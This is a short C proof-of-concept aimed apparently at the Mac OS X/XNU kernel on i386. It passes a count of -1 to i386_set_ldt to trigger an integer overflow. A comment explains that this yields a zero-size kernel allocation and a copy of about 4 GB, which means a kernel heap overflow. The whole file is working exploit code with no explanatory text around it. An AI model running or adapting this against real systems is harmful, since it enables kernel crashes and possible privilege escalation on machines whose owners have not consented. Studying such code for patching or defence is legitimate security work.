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#include <stdio.h>
#include <stdlib.h>
#include <architecture/i386/table.h>
#include <i386/user_ldt.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/mman.h>
int
main(void)
{
union ldt_entry descs;
char *buf;
u_long pgsz = sysconf(_SC_PAGESIZE);
if ((buf = (char *)malloc(pgsz * 4)) == -1) {
perror("malloc");
exit(EXIT_FAILURE);
}
memset(buf, 0x41, pgsz * 4);
buf = (char *)(((u_long)buf & ~pgsz) + pgsz);
if (mprotect((char *)((u_long)buf + (pgsz * 2)), (size_t)pgsz,
PROT_WRITE) == -1) {
perror("mprotect");
exit(EXIT_FAILURE);
}
/*
* This will result in kalloc() size argument being 0x00000000 and
copyin()
* size argument being 0xfffffff8.
*/
if (i386_set_ldt(1024, (union ldt_entry *)&buf, -1) == -1) {
perror("i386_set_ldt");
exit(EXIT_FAILURE);
}
exit(EXIT_SUCCESS);
}
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